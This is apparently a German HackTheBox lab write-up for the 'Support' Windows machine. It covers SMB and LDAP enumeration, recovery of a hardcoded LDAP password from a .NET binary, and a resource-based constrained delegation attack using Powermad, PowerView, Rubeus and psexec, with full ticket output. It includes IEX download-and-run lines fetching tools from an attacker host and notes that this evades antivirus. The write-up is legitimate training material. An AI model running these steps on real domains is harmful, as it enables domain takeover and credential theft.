HTB · published
Support
HTB Machine Writeup zu Support aus dem Intro-to-Zephyr-Kontext mit SMB, LDAP, BloodHound und RBCD.
Metadaten
- Name: Support
- Plattform: Windows
- Kategorie: HTB Machine
- Schwierigkeit: Easy
- Ziel(e): User, Root/Administrator
- Kurzbeschreibung des Szenarios: HTB Machine Writeup zu Support aus dem Intro-to-Zephyr-Kontext mit SMB, LDAP, BloodHound und RBCD.
enum
nmapscan
host port proto name state info
---- ---- ----- ---- ----- ----
10.10.11.174 53 tcp domain open Simple DNS Plus
10.10.11.174 88 tcp kerberos-sec open Microsoft Windows Kerberos server time: 2025-06-02 19:28:32Z
10.10.11.174 135 tcp msrpc open Microsoft Windows RPC
10.10.11.174 139 tcp netbios-ssn open Microsoft Windows netbios-ssn
10.10.11.174 389 tcp ldap open Microsoft Windows Active Directory LDAP Domain: support.htb0., Site: Default-First-Site
-Name
10.10.11.174 445 tcp microsoft-ds open
10.10.11.174 464 tcp kpasswd5 open
10.10.11.174 593 tcp ncacn_http open Microsoft Windows RPC over HTTP 1.0
10.10.11.174 636 tcp tcpwrapped open
10.10.11.174 3268 tcp ldap open Microsoft Windows Active Directory LDAP Domain: support.htb0., Site: Default-First-Site
-Name
10.10.11.174 3269 tcp tcpwrapped open
10.10.11.174 5985 tcp http open Microsoft HTTPAPI httpd 2.0 SSDP/UPnPsmb enum
smbclient -L //10.10.11.174
Password for [WORKGROUP\0xs1s3c]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
support-tools Disk support staff tools
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.174 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup availablesmb enum cme
ADMIN$ Remote Admin
C$ Default share
IPC$ READ Remote IPC
NETLOGON Logon server share
support-tools READ `support` staff tools
SYSVOL Logon server share smbclient share support-tools
smbclient //10.10.11.174/support-tools/
Password for [WORKGROUP\0xs1s3c]:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Wed Jul 20 19:01:06 2022
.. D 0 Sat May 28 13:18:25 2022
7-ZipPortable_21.07.paf.exe A 2880728 Sat May 28 13:19:19 2022
npp.8.4.1.portable.x64.zip A 5439245 Sat May 28 13:19:55 2022
putty.exe A 1273576 Sat May 28 13:20:06 2022
SysinternalsSuite.zip A 48102161 Sat May 28 13:19:31 2022
UserInfo.exe.zip A 277499 Wed Jul 20 19:01:07 2022
windirstat1_1_2_setup.exe A 79171 Sat May 28 13:20:17 2022
WiresharkPortable64_3.6.5.paf.exe A 44398000 Sat May 28 13:19:43 2022download & inspect UserInfo.exe.zip
file UserInfo.exe
UserInfo.exe: PE32 executable for MS Windows 6.00 (console), Intel i386 Mono/.Net assembly, 3 sectionsILSpy
Findings: ldapQuery, FindUser, GetUser
Bisschen hardcodierte scheiße:
public LdapQuery()
{
string password = Protected.getPassword();
entry = new DirectoryEntry("LDAP://support.htb", "support\\ldap", password);
entry.set_AuthenticationType((AuthenticationTypes)1);
ds = new DirectorySearcher(entry);
}domain in /etc/hosts
echo '10.10.11.174 support.htb' | sudo tee -a /etc/hostsDas Passwort ist in der getPassword Funktion der code:
internal class Protected
{
private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
private static byte[] key = Encoding.ASCII.GetBytes("armando");
public static string getPassword()
{
byte[] array = Convert.FromBase64String(enc_password);
byte[] array2 = array;
for (int i = 0; i < array.Length; i++)
{
array2[i] = (byte)((uint)(array[i] ^ key[i % key.Length]) ^ 0xDFu);
}
return Encoding.Default.GetString(array2);
}
}chat kann helfen Das entschlüsselte Passwort ist:
[REDACTED-LDAP-PASSWORD]creds:
ldap:[REDACTED-LDAP-PASSWORD]foothold
jetzt eine ldap search:
ldapsearch -H ldap://support.htb -D 'ldap@support.htb' -w '[REDACTED-LDAP-PASSWORD]' -b 'dc=support,dc=htb'ldap from 0xdf:
ldapsearch -h support.htb -D 'ldap@support.htb' -w '[REDACTED-LDAP-PASSWORD]' -b "dc=support,dc=htb" "*"in eine datei lenken und untersuchen
ldapsearch -H ldap://support.htb -D 'ldap@support.htb' -w '[REDACTED-LDAP-PASSWORD]' -b 'dc=support,dc=htb' > ldap.outbloodhound
bloodhound-python --dns-tcp -ns 10.10.11.174 -d support.htb -u 'ldap' -p'[REDACTED-LDAP-PASSWORD]' -c allfindings:
shortest path 2 domadmin
inspect ldap.out with jxplorer (support user)
creds:
support:[REDACTED-SUPPORT-PASSWORD]remote connect:
evil-winrm -u support -p '[REDACTED-SUPPORT-PASSWORD]' -i support.htb
Privilege Escalation
enum dc
Get-ADDomain
whoami /groupsThe GenericAll grants SHARED SUPPORT ACCOUNTS@SUPPORT.HTB the permission to write to the “msds-KeyCredentialLink” attribute of DC.SUPPORT.HTB.
Shadow Credentials attack
Whisker.exe
Resource-Based Constrained Delegation attack
get stuff on target
- Upload exe in evil winrm
curl 10.10.16.4:8000/Rubeus.exe -o Rubeus.exe- “Living-off-the-land”-Trick in PowerShell in evil winrm
IEX(New-Object Net.WebClient).downloadString('http://10.10.16.4:8000/Powermad.ps1')
IEX(New-Object Net.WebClient).downloadString('http://10.10.16.4:8000/PowerView.ps1')IEX(…) = Invoke-Expression • Führt den heruntergeladenen PowerShell-Code direkt im Speicher aus. • Kein Speichern auf der Festplatte → schwerer zu erkennen durch AV/EDR.
Check machineaccountquota
*Evil-WinRM* PS C:\tmp>Get-ADObject -Identity ((Get-ADDomain).distinguishedname) -Properties ms-DS-MachineAccountQuota
DistinguishedName : DC=support,DC=htb
ms-DS-MachineAccountQuota : 10
Name : support
ObjectClass : domainDNS
ObjectGUID : 553cd9a3-86c4-4d64-9e85-5146a98c868eExploitation
Abusing this primitive is possible through the Rubeus project.
First, if an attacker does not control an account with an SPN set, Kevin Robertson’s Powermad project can be used to add a new attacker-controlled computer account:
New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)PowerView can be used to then retrieve the security identifier (SID) of the newly created computer account:
$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsidWe now need to build a generic ACE with the attacker-added computer SID as the principal, and get the binary bytes for the new DACL/ACE:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)Next, we need to set this newly created security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the computer account we’re taking over, again using PowerView in this case:
Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}We can then use Rubeus to hash the plaintext password into its RC4_HMAC form:
Rubeus.exe hash /password:Summer2018!And finally we can use Rubeus’ s4u module to get a service ticket for the service name (sname) we want to “pretend” to be “admin” for. This ticket is injected (thanks to /ptt), and in this case grants us access to the file system of the TARGETCOMPUTER:
Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:admin /msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt
./Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /pttget the ticket:
*Evil-WinRM* PS C:\tmp> ./Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
[*] Action: S4U
[*] Using rc4_hmac hash: EF266C6B963C0BB683941032008AD47F
[*] Building AS-REQ (w/ preauth) for: 'support.htb\attackersystem$'
[*] Using domain controller: ::1:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFojCCBZ6gAwIBBaEDAgEWooIEszCCBK9hggSrMIIEp6ADAgEFoQ0bC1NVUFBPUlQuSFRCoiAwHqAD
AgECoRcwFRsGa3JidGd0GwtzdXBwb3J0Lmh0YqOCBG0wggRpoAMCARKhAwIBAqKCBFsEggRXgTaVJLrw
lo3RZEAlMG/mfSWC7sE+GfwQBsNLh5KQFIdWZ6nieeezB7JN3ai2I0wnCLLDr9lgeTmTiDdPU7/k+t6m
5fHNDxp0DFlCZXEfTf3bRpb3GJeG6n9we3rQCc4ey4cn4tVXj9+k27rj0tFqFSOHL0vY5i/DwEQRnwT5
8Tkcz1vc1jQa6/9zWGoDzzAeP9tnYSU+9VSVrtfAXA+6+wt5DbV0WLB8YWOtZ5VWeArMHWSw7HaY4VC5
CBUMpHHKn9pBbh8iOkOZ2rJ+EvgCfQrHG40tc8m+JUZPjDKxCuoR92ta62U9YHv+5eEmUAPnMzQNCg6m
0uMrJ/psGDLChpmBtMw7AlTlXXO4DlE+babQZyxUDpEKg5QBnZfac3+Fg8+uiHa0V1EPQavjyl0fN2Rp
OFK55CfMErsOHNLBTsn4tvAEykBose0+rXnJZIemU797c+fIyJj09g3Kj+Siq4YibwDqvc+f6qh0u0ua
ML9ASSuvgV47f5YEiXdG6O17e5J8Ik0fri8jUg8frgX0B0Y5ceXLg67ibl/pxRTgxlans7lN94CtSsGL
x8Cue9friGb7DQ2na9Ofdcv2tMAatgxWq07VGGQCNKOxxA/unK4ebqCTaxmnJWiLSsxd0BW6aMdXZz+j
rOi0WRNdz5XqBc/Jnhev1Dx20RqrVssy4DXWeHpLtIZA5U6Hjfyj8YPDEMXZhIsJUPdX9q1pKvV0qobn
p5z/yuCLf6KNVReyohZZDl7KpLf6wvDO3olH9h2XF4etQ/gHmbo3SEDZ7gFnQ6U7da1ZoknEK/ghIG+k
Stn7QGGsKDU+ocnvXQgMgX0r58mnAmQL4NwG83wyXr7xkNiC7qFIORtm5/SekQzhVdJ2cUGnSDUXhnLh
foEQQ42zdZSwTxKyZJsElDg+J1jYCgQKoJ/41mOlDwMoNx1dbiMUJ54Zo4dj7yWh7oNnGpp0jW1xb7/t
pts6iKXr8TwlWjdLAU8dLrQYcj+WYpTVwtsy9Zy2EqKMNQN+6hTz6yfyfIzzKlSIzYPJJPNScmpRzocr
wgU5gL+U7WogIQGwYJFtA6eH94SFzHkIb8Vnyzc05ReFpfYszlZXXfV8nvfqNu8GWLP6W55ajMcKTvaR
yFf2xJaA8Swuq5qFCza2ia0U5CZQcGPmNy0j4+qXBIxfFTgyOjdrmRGRaAe19qIPloJ+7r1A6L65jSvi
ylZROHFfS+EKgmhqjl5pgsWNwWQq6cLLUnt/28CZZVLoir50sK8v+bBZYJJs97gYs9FaADzxPB5yLVgD
07X7+7nsY9/C43DSdWcmlGgaxEV3If0XId4LHKfGBsRiF5Ygc1b6NOZpgVisQhcKAysfkbDZES2Y3Ufc
dvXsmIcEXBUA+PLCXOvw7epeI0MKMO9znKCHAApfCwMF0BVXEuf64vM41j9TYk13LZlVhueyQUIZ2icR
RYpVcGoD1NZyW2VzgtE9mxxaHqIipkrPm6OB2jCB16ADAgEAooHPBIHMfYHJMIHGoIHDMIHAMIG9oBsw
GaADAgEXoRIEEFZJinZop1KI9HxGAlXtFjmhDRsLU1VQUE9SVC5IVEKiHDAaoAMCAQGhEzARGw9hdHRh
Y2tlcnN5c3RlbSSjBwMFAEDhAAClERgPMjAyNTA2MDQxMDIzNDhaphEYDzIwMjUwNjA0MjAyMzQ4WqcR
GA8yMDI1MDYxMTEwMjM0OFqoDRsLU1VQUE9SVC5IVEKpIDAeoAMCAQKhFzAVGwZrcmJ0Z3QbC3N1cHBv
cnQuaHRi
[*] Action: S4U
[*] Building S4U2self request for: 'attackersystem$@SUPPORT.HTB'
[*] Using domain controller: dc.support.htb (::1)
[*] Sending S4U2self request to ::1:88
[+] S4U2self success!
[*] Got a TGS for 'administrator' to 'attackersystem$@SUPPORT.HTB'
[*] base64(ticket.kirbi):
doIFsjCCBa6gAwIBBaEDAgEWooIEyTCCBMVhggTBMIIEvaADAgEFoQ0bC1NVUFBPUlQuSFRCohwwGqAD
AgEBoRMwERsPYXR0YWNrZXJzeXN0ZW0ko4IEhzCCBIOgAwIBF6EDAgEBooIEdQSCBHFOM10oxR3x1wIh
y4MC3D64iKtHPEFbBu6gOQz9hfqmziMcRJYCRHQx6qV7gZbffJ4dN5A0J5kfryFXsTlOf5lQezhaK/OE
yl/bd9r573srzcFka4Q6okE5Z67dkf9oUFQzH4yVdikJIqCHWRsssJyzhTfeYBJWokAqJYeCIhEigSWS
SuR/jHLY8N16nghzdPa3+K8pkpQMgfswQ0mu+PIlpxME0kHXr2E0HWvxnABsDlWY4EbonlSw14btfFCi
46M90EbrTKMD4ziBQAHa4BYh9Ag7iciP6ny18x4KOjt3mveiFXaw1hA5henh56D+4Nsa9x04mT5titbo
OVOdg/YEErjQWQDOOcGLGlnBuudLzXsEMlAF/ir9vMZFN1nl6vEWhE+beP36CpEicJTR4+J0tSLZg79J
XP6BYCcwlNFO+z8diOWeESi2wcsAmS1q5BiOKNElFongfau5I1aAbxmAOi2KPRnt6QBd+EXs+QXVEqKH
ZpkimWirG/dw+k1eiYxv7nb4ljBv6N1eKS1vyvTd+aIQIYIQbjG1CdzA63BL3fsTL7EFY0t0txWfUxzH
kVTCGQ0oKC6g1uYDBDpU8hNg+lINsL7oUsAKC7mlPQJK+fri3mF8YLc3hSL/mlwpcTkYlxio9/L+B+8L
0Bww9BlMSIKnh5tvwxqIMglpJnMcoLwkt36tqqucAhEwzwAhThirGjpN+G65NZLZU7F4BDMnsguqDxu0
xLKNy0PjgvpSFqGoeYZxnE2nvzEgDpUaEOh3LHAsGNHmICAn+e06lDNn6ZXTeP18TeUGKilvohR/qauo
V0WyGQAEplg20UWlmr9+JQUclYU5N2N3dVxd2wfHJcHpTvBLlSP5OSPfL7oSJAfXQK2/zBRkof9EtQG6
cQMbo1tWxhQ+WuYxHBDXeDYgGxIOvmpXadWWZyVmNmY8vKiN4uZrir9BtLyOCly6R+LQJ8M92lNwF6gt
lFtJDi8VfxYdS4B55UgpCaeMkfucW8WNTWzXHSwKesWZMCqRBhJFauZA6u9fwCK09bwjlBjSIGXVLfmf
C3ELZoDWZ1Anqa5eiI+rujNC91RmYFH5JiMVUQLUgLTQM0dyn0Qk0eLanCvCGOO4mYhjtGilTvZ2ZM+G
zTYsNvhE27Ktt4a3dfzSHvHmfCizj2nXQ25Ghizfehwnc0u01QGKqL9XAjc3hpoY0RTZWPEpiGij5wzB
Xq7Bc7AXAtIUeP7TIO+9iRccF0cfVRtT0wgEMxjqvOQb5y9yjeD0YyVvDNek38iM40oS12fLN6S4ELgC
Ts8zLNyj0xaeSPwseE5IpsprllgGXtLR5qx7AJEYCEOVdBBYtu3WVlRhA/Bt1H4DJ7g4Ei9/jh/chYRg
F+wVXMRQ3yJnvUyWpHl6FjW6SkF7oRIGveDbQcUkdAOuwgpny/bXsDI8d55X44+xhVajDVvc0yP+OQ6e
mX4n5ImVgb6zD1sUkABlHbliUddNMnQ5V4/fezyQdyIYu8beXjy54BIRplBBTV2jgdQwgdGgAwIBAKKB
yQSBxn2BwzCBwKCBvTCBujCBt6AbMBmgAwIBF6ESBBAxQjw205nSI+NhENjwHgGAoQ0bC1NVUFBPUlQu
SFRCohowGKADAgEKoREwDxsNYWRtaW5pc3RyYXRvcqMHAwUAQKEAAKURGA8yMDI1MDYwNDEwMjM0OFqm
ERgPMjAyNTA2MDQyMDIzNDhapxEYDzIwMjUwNjExMTAyMzQ4WqgNGwtTVVBQT1JULkhUQqkcMBqgAwIB
AaETMBEbD2F0dGFja2Vyc3lzdGVtJA==
[*] Impersonating user 'administrator' to target SPN 'cifs/dc.support.htb'
[*] Building S4U2proxy request for service: 'cifs/dc.support.htb'
[*] Using domain controller: dc.support.htb (::1)
[*] Sending S4U2proxy request to domain controller ::1:88
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/dc.support.htb':
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
[+] Ticket successfully imported!put the hash into ticket.b64
To properly perform lateral movement from a Linux host, the ticket must be converted from kirbi to ccache format, and imported via e.G. an environment variable.
convert from base64 to cchache https://github.com/fortra/impacket/blob/master/examples/ticketConverter.py
cat ticket.b64 | base64 -d > ticket
python3 /opt/impacket/examples/ticketConverter.py ticket ticket.ccache`
Then the ticket location can afterwards be set for the corresponding environment variable with:
export KRB5CCNAME=ticket.cchacheFinally kill it with psexec.py
python3 /usr/share/doc/python3-impacket/examples/psexec.py -k -no-pass administrator@dc.support.htb